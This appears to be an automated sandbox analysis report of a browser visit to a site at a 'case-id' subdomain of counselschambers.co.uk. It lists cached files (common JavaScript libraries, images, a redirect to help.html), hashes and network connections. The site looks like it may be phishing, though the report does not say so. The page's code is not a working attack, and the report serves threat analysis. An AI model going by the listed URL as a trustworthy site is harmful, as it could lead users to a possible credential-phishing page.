Preview:	.iti{position:relative;display:inline-block}.iti *{box-sizing:border-box;-moz-box-sizing:border-box}.iti__hide{display:none}.iti__v-hide{visibility:hidden}.iti input,.iti input[type=tel],.iti input[type=text]{position:relative;z-index:0;margin-top:0!important;margin-bottom:0!important;padding-right:36px;margin-right:0}.iti__flag-container{position:absolute;top:0;bottom:0;right:0;padding:1px}.iti__selected-flag{z-index:1;position:relative;display:flex;align-items:center;height:100%;padding:0 6px 0 8px}.iti__arrow{margin-left:6px;width:0;height:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:4px solid #555}.iti__arrow--up{border-top:none;border-bottom:4px solid #555}.iti__country-list{position:absolute;z-index:2;list-style:none;text-align:left;padding:0;margin:0 0 0 -1px;box-shadow:1px 1px 4px rgba(0,0,0,.2);background-color:#fff;border:1px solid #ccc;white-space:nowrap;max-height:200px;overflow-y:scroll;-webkit-overflow-scrolling:touch}.iti__country-lis

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (26993)
Category:	downloaded
Size (bytes):	29519
Entropy (8bit):	5.620109327436002
Encrypted:	false
SSDEEP:	768:ewqD7GzOoS+D45YdR3QWG6UdC8OxgtmKg3vTpzaDvCY9R:4fUQWodCjgtmKgNzazCw
MD5:	F75E31308C096A103A106C4F5A5D9A66
SHA1:	B6F78285064ECDF283081606D37B643C05D58B61
SHA-256:	FD20B6E4BB5AF8690406A2DE275141EA221822BA78A99261B5412D2BA9CA217C
SHA-512:	FA04A1C81F065A83A25CDC0E9416985DD2D3899B75D08CBAC6300219A769A8CB36D1A24EA21F8F26DDDBC14540E8279F7BBC85EEF6E55FA430C976625704D61A
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/intl-tel-input@17.0.19/build/js/intlTelInput.min.js
Preview:	/. International Telephone Input v17.0.19. * https://github.com/jackocnr/intl-tel-input.git. * Licensed under the MIT license. */..!function(a){"object"==typeof module&&module.exports?module.exports=a():window.intlTelInput=a()}(function(a){"use strict";return function(){function b(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function c(a,b){for(var c=0;c<b.length;c++){var d=b[c];d.enumerable=d.enumerable\|\|!1,d.configurable=!0,"value"in d&&(d.writable=!0),Object.defineProperty(a,d.key,d)}}function d(a,b,d){return b&&c(a.prototype,b),d&&c(a,d),a}for(var e=[["Afghanistan (............)","af","93"],["Albania (Shqip.ri)","al","355"],["Algeria (..........)","dz","213"],["American Samoa","as","1",5,["684"]],["Andorra","ad","376"],["Angola","ao","244"],["Anguilla","ai","1",6,["264"]],["Antigua and Barbuda","ag","1",7,["268"]],["Argentina","ar","54"],["Armenia (........)","am","374"],["Aruba","aw","297"],["Ascension I

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1920x175, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	19448
Entropy (8bit):	7.990007419869228
Encrypted:	true
SSDEEP:	384:D2sJeZ4rJgaWjNxdBrNkuWZmX1YZ/blujDzf+0Pph4N65r5ePgM:ScorBxdBhkuWZ21mkDb+r451ePd
MD5:	33D130A638F79CA24FE5AD135106ED69
SHA1:	78B969C7F3D1054328F744B31B75E7F0B4EE1B2D
SHA-256:	B1482D4C704E1C61CDEB07B3FA9F32DA4AB26930733BB54D1F123FF2DED13BB4
SHA-512:	0A8E9163D187ED56E169806A9882289CED57ACF797DC94CFEDBC55AC480E5547A8539043EB0C8A3DBFF40F89CCE5C9967087D0DC7EBA14A1291838344D588381
Malicious:	false
Reputation:	low
Preview:	RIFF.K..WEBPVP8 .K...........>m6.H.#""$..X...gnK...l..U.+....--.;....:.mZ.r.......w.zc...u...g.._.^.=M?.:n=j?........?2.i.7...]...f.../q.......n.p..6..4C...?.O.tR....../.^.]x..C.#)..e....V2N..lz8....!...i...w.......A........6...S..{.Q5..._........z.j.T..KoU..@A...0.3=.....D.+..[p....B..;.@.7nnc&..>&...;..}...T..v..6!j.s.8d.g......7.VI.U.h.l...s..Y..B."..Ey.....~....,..99../.N.....6....w.\|DH.e.N..~...}.PVX.ll'...Y..Y..t.'u.Y.'..o...^....7.4.......z....%..R.N....5 ..rn.c.cR0..s..?&.u..0.5Y.y...O..].v.B!.$.]...o.z...&.T.../..i....U%E.....;p.CW.H..="o.v.Gpd....a.]A..$.../k_I:.........&.:...._.....qx......#H....'....S..l. .\c.7G....Z.q...apX8w...-b...y....>....2....Q.&.b..C..B..fO{S..l..g <.......$h....S...7.$.....k..r.].:x........D%...1...xzF.s........-W.s`.A.R....i/4[..2..0T..U..+.x.qx.>..\....{0.f.:..B...l.A...gjr..g.4-.a....m1.............?.j.....?g.I)......N.{<.P..Jf...~.'..z..p.Hk.7..&<H....]1.0....A..k.....7.........wz......<s...<7

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (945)
Category:	downloaded
Size (bytes):	131835
Entropy (8bit):	5.376665898737896
Encrypted:	false
SSDEEP:	1536:C1/SrQwxn5J6IBuXZ2NInxb7w4BqZTXZlvA61i8+pxsdn9PvV6SdqbAR:755qZpAZxA61iz6Phkm
MD5:	7D4842A904E5D5D1B19240075998B111
SHA1:	FEB8DDC9D0566A4FA0971A6E1138658618CDACFE
SHA-256:	35F4F974F4B2BCD44DA73963347F8952E341F83909E4498227D4E26B98F66F0D
SHA-512:	E9AD75D3BAD3940E2062980702A6F02C0B719968A905D24572AF32E52FDA4E07B7069F95024940066D8B3BE2A0E75BCE591F49319AB53AF8E5E6DA65B8DA5379
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react-dom/umd/react-dom.production.min.js
Preview:	/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. /.(function(){/. Modernizr 3.0.0pre (Custom Build) \| MIT.*/.'use strict';(function(Q,zb){"object"===typeof exports&&"undefined"!==typeof module?zb(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],zb):(Q=Q\|\|self,zb(Q.ReactDOM={},Q.React))})(this,function(Q,zb){function m(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}.function mb(a,b){Ab(a,b);Ab(a+"Capture",b)}function Ab(a,b){$b[a]=b;for(a=0;a<b.length;a++)cg.add(b[a])}function bj(a){if(Zd.call(dg,a))retu

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	2.8553885422075336
Encrypted:	false
SSDEEP:	3:fuMEc:23c
MD5:	99C7886BEA2DE7A0101C2650904125B2
SHA1:	923B92CB8983479444E728E099B85F84A8DC1358
SHA-256:	FFF62C3400A9C4F4618583FD90966E4E5B1122239157CAA576BFD6A1FA71204D
SHA-512:	7FB99EB3F5DF99B330325BB84C3676ABFD4BA02A2F37C596FDBD717FEEEA84887522E4957D57FD2C77A6A73C56656D1B8A8D17BB28CE158CD474ECE6E71B5565
Malicious:	false
Reputation:	low
Preview:	8.46.123.189

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1920x175, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	19448
Entropy (8bit):	7.990007419869228
Encrypted:	true
SSDEEP:	384:D2sJeZ4rJgaWjNxdBrNkuWZmX1YZ/blujDzf+0Pph4N65r5ePgM:ScorBxdBhkuWZ21mkDb+r451ePd
MD5:	33D130A638F79CA24FE5AD135106ED69
SHA1:	78B969C7F3D1054328F744B31B75E7F0B4EE1B2D
SHA-256:	B1482D4C704E1C61CDEB07B3FA9F32DA4AB26930733BB54D1F123FF2DED13BB4
SHA-512:	0A8E9163D187ED56E169806A9882289CED57ACF797DC94CFEDBC55AC480E5547A8539043EB0C8A3DBFF40F89CCE5C9967087D0DC7EBA14A1291838344D588381
Malicious:	false
Reputation:	low
URL:	https://case-id-1000228259003.counselschambers.co.uk/banner-b1482d4c.webp
Preview:	RIFF.K..WEBPVP8 .K...........>m6.H.#""$..X...gnK...l..U.+....--.;....:.mZ.r.......w.zc...u...g.._.^.=M?.:n=j?........?2.i.7...]...f.../q.......n.p..6..4C...?.O.tR....../.^.]x..C.#)..e....V2N..lz8....!...i...w.......A........6...S..{.Q5..._........z.j.T..KoU..@A...0.3=.....D.+..[p....B..;.@.7nnc&..>&...;..}...T..v..6!j.s.8d.g......7.VI.U.h.l...s..Y..B."..Ey.....~....,..99../.N.....6....w.\|DH.e.N..~...}.PVX.ll'...Y..Y..t.'u.Y.'..o...^....7.4.......z....%..R.N....5 ..rn.c.cR0..s..?&.u..0.5Y.y...O..].v.B!.$.]...o.z...&.T.../..i....U%E.....;p.CW.H..="o.v.Gpd....a.]A..$.../k_I:.........&.:...._.....qx......#H....'....S..l. .\c.7G....Z.q...apX8w...-b...y....>....2....Q.&.b..C..B..fO{S..l..g <.......$h....S...7.$.....k..r.].:x........D%...1...xzF.s........-W.s`.A.R....i/4[..2..0T..U..+.x.qx.>..\....{0.f.:..B...l.A...gjr..g.4-.a....m1.............?.j.....?g.I)......N.{<.P..Jf...~.'..z..p.Hk.7..&<H....]1.0....A..k.....7.........wz......<s...<7

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	198114
Entropy (8bit):	4.547483897370231
Encrypted:	false
SSDEEP:	6144:nBx4x8tgo06sGxw8nE94ltDxa6REI/eYcicDmcKCU4MJ9x8BRnE6qSVYbc4sx6t+:nBx4x8tgo06sGxw8nE94ltDxa6REI/eB
MD5:	F716A02969E459FDFC8F37DEE235E925
SHA1:	6F2BB245FEAA0997FA30B085AF0E8990D21395CC
SHA-256:	F0BDF25FDA8F9AF5920C82070775864C7E1166EB31540D030E6B80A382E39CE1
SHA-512:	3505662F3372E0BAF9413AE65EFABF5B34CC5274479AFEE7C884FF33A2F218F052F9321E47167E6106AA5B18E9469BD13104AE60F414459CFFFA92E2F35C5778
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.js
Preview:	;(function (root, factory) {..if (typeof exports === "object") {...// CommonJS...module.exports = exports = factory();..}..else if (typeof define === "function" && define.amd) {...// AMD...define([], factory);..}..else {...// Global (browser)...root.CryptoJS = factory();..}.}(this, function () {.../globals window, global, require/.../*.. CryptoJS core components... */..var CryptoJS = CryptoJS \|\| (function (Math, undefined) {... var crypto;... // Native crypto from window (Browser).. if (typeof window !== 'undefined' && window.crypto) {.. crypto = window.crypto;.. }... // Native crypto in web worker (Browser).. if (typeof self !== 'undefined' && self.crypto) {.. crypto = self.crypto;.. }... // Native crypto from worker.. if (typeof globalThis !== 'undefined' && globalThis.crypto) {.. crypto = globalThis.crypto;.. }... // Native (experimental IE 11) crypto from window (Browser).. if (!crypto && typeof window !== 'undefined' &&

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13509), with CRLF line terminators
Category:	downloaded
Size (bytes):	13511
Entropy (8bit):	4.942883944272427
Encrypted:	false
SSDEEP:	192:4MmQ24+k5axPxEXaC0YMUcD5vqSWgjMXoe6MUoSk:SNk5axPxEXaC/cD5S5gjMXoe6MUA
MD5:	96ECDF4FA06E0AFBDA7E293121EEECFA
SHA1:	6BAE397B359FBF59FADB416F293ED7F25679C4C7
SHA-256:	343F3A116F0963DE569D4623FDED0ED8C7F5C44D5498B1F5AFC25B2571027E96
SHA-512:	6A42A153B3B3E7159FC59518ECD72A4D0204971C954011B91549F2DFA55D4B23961FA851A48945246B0AE46D7AF236BB6B7AA260647DD1DD4F7FEE529481F0B4
Malicious:	false
Reputation:	low
URL:	https://case-id-1000228259003.counselschambers.co.uk/index-5b6c678b.css
Preview:	.logo{height:2em;will-change:filter;transition:filter .3s}.logo:hover{filter:drop-shadow(0 0 2em #646cffaa)}.logo.react:hover{filter:drop-shadow(0 0 2em #61dafbaa)}@keyframes logo-spin{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@media (prefers-reduced-motion: no-preference){a:nth-of-type(2) .logo{animation:logo-spin infinite 20s linear}}.card{padding:2em}.read-the-docs{color:#888}.banner{position:relative;padding:50px 0;background-repeat:no-repeat;background-size:cover;text-align:center;background-position:center bottom;background-image:url(banner-b1482d4c.webp)}.banner-content1{background-color:#243760b3;position:absolute;z-index:1;top:0;left:0;padding:50px 0;height:100%;width:100%}.banner-content{top:0;right:0;bottom:0;left:0;z-index:100;display:flex;position:relative;justify-content:center;align-items:center;flex-direction:column;color:#fff!important}.banner-content h5{font-size:14px;font-family:Freight Sans LF Pro Semibold,Helvetica,Arial,sans-serif;text-rendering:optimize

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	248
Entropy (8bit):	4.985722383129331
Encrypted:	false
SSDEEP:	6:Yj9K46ATx1ixqCj9pWReLVTAAEXtCD9zGcXmkR/:Ys/Ex1E9pWeGADD9zsM
MD5:	B92A0875C56D807450F00E4D8CFABC7C
SHA1:	5C6B702D109A187A364D6EFA9A4E5334B2BE1900
SHA-256:	ED183CFDAD3D0C533654121950481FC10B66AAED79D824457455987D0A7AC90C
SHA-512:	BBAEC335D91E77FC2CE1725CC10ACB550732AF0040218094ECE3016E826107CC12937FB4BB53EC48C58CBA69FDBA0376EB0F8D9BC1696930AD2B244D06C37DC8
Malicious:	false
Reputation:	low
Preview:	{"type":"https://tools.ietf.org/html/rfc9110#section-15.5.1","title":"One or more validation errors occurred.","status":400,"errors":{"weather":["The weather field is required."]},"traceId":"00-dfd670d52ee58afb6552a7d898bcacf9-8beac3eff7aada8a-00"}

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	180
Entropy (8bit):	4.802436867696083
Encrypted:	false
SSDEEP:	3:PouVKQzhq4oEEtGFivYMNbPdNAOkADFoHSb5Rhy/3GXIMBWhtoAcMBcacWWGu:h4Qzhq4HEtSKYk7fWmmHS7QlMch0MWXJ
MD5:	B8F462CEDB09DF5643A7276846674FE4
SHA1:	82DDCECD5ED9A9BBBCCC19858FE9CF52C4EC3FC4
SHA-256:	6E1018597010AA20DDD8B219D623807C0BBC6A2BD4E8A916E748A3EAC0DB2A6E
SHA-512:	864B2B3F271F265CE452A00E093DFB456FF16E1F5834A830BE011FBFCE3C447EB234C7FF753BE16EF4A1B57AD17C70BC524FAAA6A8D46B782ECE5AEB4112BAC9
Malicious:	false
Reputation:	low
URL:	https://case-id-1000228259003.counselschambers.co.uk/
Preview:	<!DOCTYPE html>..<html lang="vi">..<head>.. <meta charset="UTF-8">.. <script>.. window.location.href = "help.html";.. </script>..</head>..<body>..</body>..</html>..

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	4.264309672828736
Encrypted:	false
SSDEEP:	48:C4wZlLr3y+WciBqaoW4Q9CrLHRlJfnRb8ELn9bAN:VYRr3Jd/Jr0
MD5:	D788B9231ED2028DC29245F76CF0A415
SHA1:	84B0E307EC9E553DB1B6CCA0CE7DB506672AAE4E
SHA-256:	1FECA2279A6E78133BF577B99E4F3E82896622C255D29017CEC5F5CFA93E4D16
SHA-512:	0B6FFE2A426CDD2A35ABC4ADEE091354EDA6F540A15C027B198DA4A5C2BA4C80CF5B41A2D825D81E9E00A3DF3CE1BC256488294C5A0CF9D34A047D20C24F32A8
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#B22334" d="M35.445 7C34.752 5.809 33.477 5 32 5H18v2h17.445zM0 25h36v2H0zm18-8h18v2H18zm0-4h18v2H18zM0 21h36v2H0zm4 10h28c1.477 0 2.752-.809 3.445-2H.555c.693 1.191 1.968 2 3.445 2zM18 9h18v2H18z"/><path fill="#EEE" d="M.068 27.679c.017.093.036.186.059.277.026.101.058.198.092.296.089.259.197.509.333.743L.555 29h34.89l.002-.004c.135-.233.243-.483.332-.741.034-.099.067-.198.093-.301.023-.09.042-.182.059-.275.041-.22.069-.446.069-.679H0c0 .233.028.458.068.679zM0 23h36v2H0zm0-4v2h36v-2H18zm18-4h18v2H18zm0-4h18v2H18zM0 9c0-.233.03-.457.068-.679C.028 8.542 0 8.767 0 9zm.555-2l-.003.005L.555 7zM.128 8.044c.025-.102.06-.199.092-.297-.034.098-.066.196-.092.297zM18 9h18c0-.233-.028-.459-.069-.68-.017-.092-.035-.184-.059-.274-.027-.103-.059-.203-.094-.302-.089-.258-.197-.507-.332-.74.001-.001 0-.003-.001-.004H18v2z"/><path fill="#3C3B6E" d="M18 5H4C1.791 5 0 6.791 0 9v10h18V5z"/><path fill="#FFF" d="M2.001 7.726l.618.449-.23

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (548)
Category:	downloaded
Size (bytes):	10751
Entropy (8bit):	5.3269914599293475
Encrypted:	false
SSDEEP:	192:kEovMTFJ8aTY0jDAyjjf8fDye7hjI6UpAe:JoeFvHcfDbhjI6G
MD5:	E91B2616629791B375867C298DC846CC
SHA1:	AA77AE4C49F525BC21DE1D04F08A5D73962C7CCE
SHA-256:	D949F1C3687AEDADCEDAC85261865F29B17CD273997E7F6B2BFC53B2F9D4C4DD
SHA-512:	415B3C2E8E3717D952B81CA469D0DBD284970CBFC16D9E7CF2EAD6542470488A1EC10BFF1308357FCE262B753BF746D9D057E115AD584905262211BEA4844A7A
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react/umd/react.production.min.js
Preview:	/*. @license React. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c\|\|self,x(c.React={}))})(this,function(c){function x(a){if(null===a\|\|"object"!==typeof a)return null;a=V&&a[V]\|\|a["@@iterator"];return"function"===typeof a?a:null}function w(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Y(){}function K(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Z(a,b,.e){var m,d={},c=null,h=null;if(null!=b)for(m in void 0!==b.ref&&(h=b.ref),void 0!==b.key&&(c=""+b.key),b)aa.call(b,m)&&!ba.hasOwnProperty(m)&&(d[m]=b[m]);var l=arguments.length-2;if(1===l)d.children=e;else if(1<l){for(var f=Array(l),k=0;k<l;k++)f[k

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5814)
Category:	downloaded
Size (bytes):	5819
Entropy (8bit):	5.820074108625986
Encrypted:	false
SSDEEP:	96:2UL7lJH6666U7rszFN24gzymAbTC0IsgoNhsIN6666Vggz5aE8GS89TNG6uDtlzl:26RJH6666erszXgzymmT4oNjN6666Vno
MD5:	34A1D30CCD0C7CE515889F6047F78F85
SHA1:	768CD8158302217E28E7BECF1A170D00F022B392
SHA-256:	E20B2A0CCC82B5172438EB19951AFAF78A6CA7904EACB76899AFEF8F832C8518
SHA-512:	98E9FDAA4C7F0C5CB0A70A434671E09BF5D12FDACE48C82F5DD8270D76110B65A1D9828899152E8672031F87EBE2357CB33F99F4E4966F781942E5B6455AE207
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE
Preview:	)]}'.["",["mortgage rates today","bengals trey hendrickson","invincible season 4 release date","gta 6 rockstar games","weather storms and tornadoes","snapchat down twitter","cmc claremont mckenna","rainbow six siege x closed beta"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQoRVHJlbmRpbmcgc2VhcmNoZXMoCg\u003d\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgovbS8wemd6aDNtEitUcmV5IEhlbmRyaWNrc29uIOKAlCBGb290YmFsbCBkZWZlbnNpdmUgZW5kMpMNZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYkFBQUNBd0FEQUFBQUFBQUFBQUFBQUFBQUJ3TUZCZ0lFQ1AvRUFESVFBQUlCQXdJREJnUUZCUUFBQUFBQUFBRUNBd0FFRVFVR0VpRXhCeUpCVVdGeEU0R1JvUlF5UXNIUkZXSnlz

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1198x600, components 3
Category:	downloaded
Size (bytes):	32608
Entropy (8bit):	7.823565953649403
Encrypted:	false
SSDEEP:	768:Cw7yrb/QiAqhamq17om+xW8a35MZaGnyetx:iLQiQNJ+xJaJ/Gnyc
MD5:	26177DE6221BDB80D43E597186D53508
SHA1:	0039AB76964A629D0BFCDA10565EA31B91B9C09A
SHA-256:	8956B37ADC46F5A131257C12CF598BC6AC255C33A489FB02262D81F6D6D141DF
SHA-512:	FE47116DB341E04C222771DC75EDAA56DA9125D06B508C62E1F2794ADABD988A54B202C15700D9BBFB092F9E58A3611932C1595742087038E6A467E2067EA250
Malicious:	false
Reputation:	low
URL:	https://case-id-1000228259003.counselschambers.co.uk/190947209_1002880900116912_4375102209501448340_n-8956b37a.jpg
Preview:	......JFIF..............Photoshop 3.0.8BIM.......g..(.bFBMD01000a8c0100003f1500009b2400003c2a0000183100004d3d0000054f00009b570000105d000084630000607f0000....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......X...."...........................................................................................................\.............................................................................................................................<..%V...(c/6-f>..j<...S/..Z....qYC'..<............#W..j.....................................PC(..Y.H....8...#7.%.~b=.......K....Ks6..t.-.r...,.............C.CG.[X.q.fZ/\|.o8k]....t.x...............................bd.Zq......+..XI.)x.............&..C....\|..k-.....km.FXT)Z.....a.t...{.5.. ............................wuv....................3.A.z......3.s5l&.}...3.....Y...7zD...E..L%............................=^.Wo.u.............{E. ........o....

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.431705709467301
Encrypted:	false
SSDEEP:	3:O9GonPL5Yn:OAMPL5Yn
MD5:	EDFAF206F17E8D7E4D6F27F33C96B48E
SHA1:	C297DB3C574D5B04330A0038F5D06F033D63731A
SHA-256:	734FD4FF7A23372A1C4B3EB543166B23A9ACFCE0A726E35E62F9466F4966355C
SHA-512:	01420F966754A6AEA6EE15BA3AFF1F72F64B26102B72FD083BC73380B5FD80D223AFB89CA935E779C0B4DA9DBE726594C40DD0ED5178CD10D899DD1EC8D2C15E
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIuCVZL0R5RLSOcEgUNEg_8ahIFDdYE7rESBQ2DqFs9EgUNAwLfGSGPyDXYPQbsjA==?alt=proto
Preview:	CiQKBw0SD/xqGgAKBw3WBO6xGgAKBw2DqFs9GgAKBw0DAt8ZGgA=

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5140)
Category:	downloaded
Size (bytes):	25882
Entropy (8bit):	5.029415269944235
Encrypted:	false
SSDEEP:	384:4A2qOzG+FP/KD4KdcEO22gF+Ln1S4Fd5IcL/Ly3LFwtRFZQ7YK0su:7OG+PUOI+Ln1S4FYcL/Ly3RwtRFZQGsu
MD5:	E95835699306BA82C03CD5E63A08CCE7
SHA1:	40392030E706DFA942A34728F75953BD47FFE685
SHA-256:	0228800DE3CA222597EA71E5B2BF719441F2441EC2266A17787739A87919C138
SHA-512:	A2478675B14DD3555A579FC172A5B053F5C43E3DF7917524F8F517646DD7355BD83DEF86D4DFD903BA69B35F50A8EC5C095BBFC833CF22CF5E64F9BC20B91F97
Malicious:	false
Reputation:	low
URL:	https://case-id-1000228259003.counselschambers.co.uk/help.html
Preview:	<html lang="en">.<head>. <meta charset="UTF-8">. <link rel="icon" type="image/svg+xml" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAGCUlEQVR4Xu2Xe4hUVRzHf/fOzO6aPRRJLFT6I6WHYlYQhEoQZA8wqT8KiTJ33Zfuw3VX9+G4u1qCFqIkJhHRiyQxysK18pGhhdUSgUGSursz7mP24b5nxpnd9fT9zd3j3E53du4dDYLmBx/O3Plj7vdz5nfOuZfSlSZNmjRp/h+saroXlIP94LQrp2UItGnZzcfAcscCdRENPAa2g0PgO/A52AIWAe1GBZ8DGoAwAwGVHogssxc++gAEfgViAs6CJdcb/kUQBMKGgNBWtwjKaf5kQoH6aA4Y4ZA2uArZeqClEr4AiARYhmc8Bj8D3SJ8JRASexJR5m2gOQn//ETh0SoJw0tcub5flJ7P5jAWAt+CKlAB9oOwEl5S56TngxMInAEfQ+IcQkeswxtQYetnxLU5vIRqr0SVQH5erBaL+w7wpYUAiCydUEDLbtIh8GOC4G3gcdXXldO8FaFHZXAVd2nXVvKG2iEhIMFwkAtgZpIdap8puKQN3DKBQPMrWIQCIoxZwAcS3hASCyAQVgU8eT7hKfAL2hTk4JJeyMylJAVRF9VGGhQBZrulAIJnQMDPAsAsEAELKUlB4h4IRM3hJRlFHQKhBf4JQTXDts8MiM6ASB8LYJQCYYhNJ7XQx6+CWHhFopZsFhbuMxC4yqFV3GXdgqoH3yOHBYkyDq/w2j8F8vyNlOsTZiDRAalJ5KDcxYHdqkBmvtFK2rrOZ1MQmAS6FIEAcMcF8vzzqKBVUP6lmABkYiPCe8l5sYTfHB5IiR5KpbyhHXITMPE0yUL4OiAYzRBhIhCb7nzGrkzBzTqzCi8ZwRUy1lzak4LAPBZ

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 10:08:12.802944899 CET	49680	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:16.287425995 CET	49671	443	192.168.2.4	204.79.197.203
Mar 14, 2025 10:08:16.599617958 CET	49671	443	192.168.2.4	204.79.197.203
Mar 14, 2025 10:08:17.208976984 CET	49671	443	192.168.2.4	204.79.197.203
Mar 14, 2025 10:08:18.412098885 CET	49671	443	192.168.2.4	204.79.197.203
Mar 14, 2025 10:08:20.818335056 CET	49671	443	192.168.2.4	204.79.197.203
Mar 14, 2025 10:08:22.412076950 CET	49680	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:25.044811964 CET	49678	443	192.168.2.4	20.189.173.27
Mar 14, 2025 10:08:25.121721029 CET	49723	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:25.121763945 CET	443	49723	142.250.185.132	192.168.2.4
Mar 14, 2025 10:08:25.121859074 CET	49723	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:25.122040987 CET	49723	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:25.122065067 CET	443	49723	142.250.185.132	192.168.2.4
Mar 14, 2025 10:08:25.162442923 CET	49723	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:25.208336115 CET	443	49723	142.250.185.132	192.168.2.4
Mar 14, 2025 10:08:25.349111080 CET	49678	443	192.168.2.4	20.189.173.27
Mar 14, 2025 10:08:25.677243948 CET	49671	443	192.168.2.4	204.79.197.203
Mar 14, 2025 10:08:25.792872906 CET	443	49723	142.250.185.132	192.168.2.4
Mar 14, 2025 10:08:25.792970896 CET	49723	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:25.792970896 CET	49723	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:25.958523035 CET	49678	443	192.168.2.4	20.189.173.27
Mar 14, 2025 10:08:27.161746979 CET	49678	443	192.168.2.4	20.189.173.27
Mar 14, 2025 10:08:29.563420057 CET	49678	443	192.168.2.4	20.189.173.27
Mar 14, 2025 10:08:29.605631113 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:29.605668068 CET	443	49726	104.21.70.234	192.168.2.4
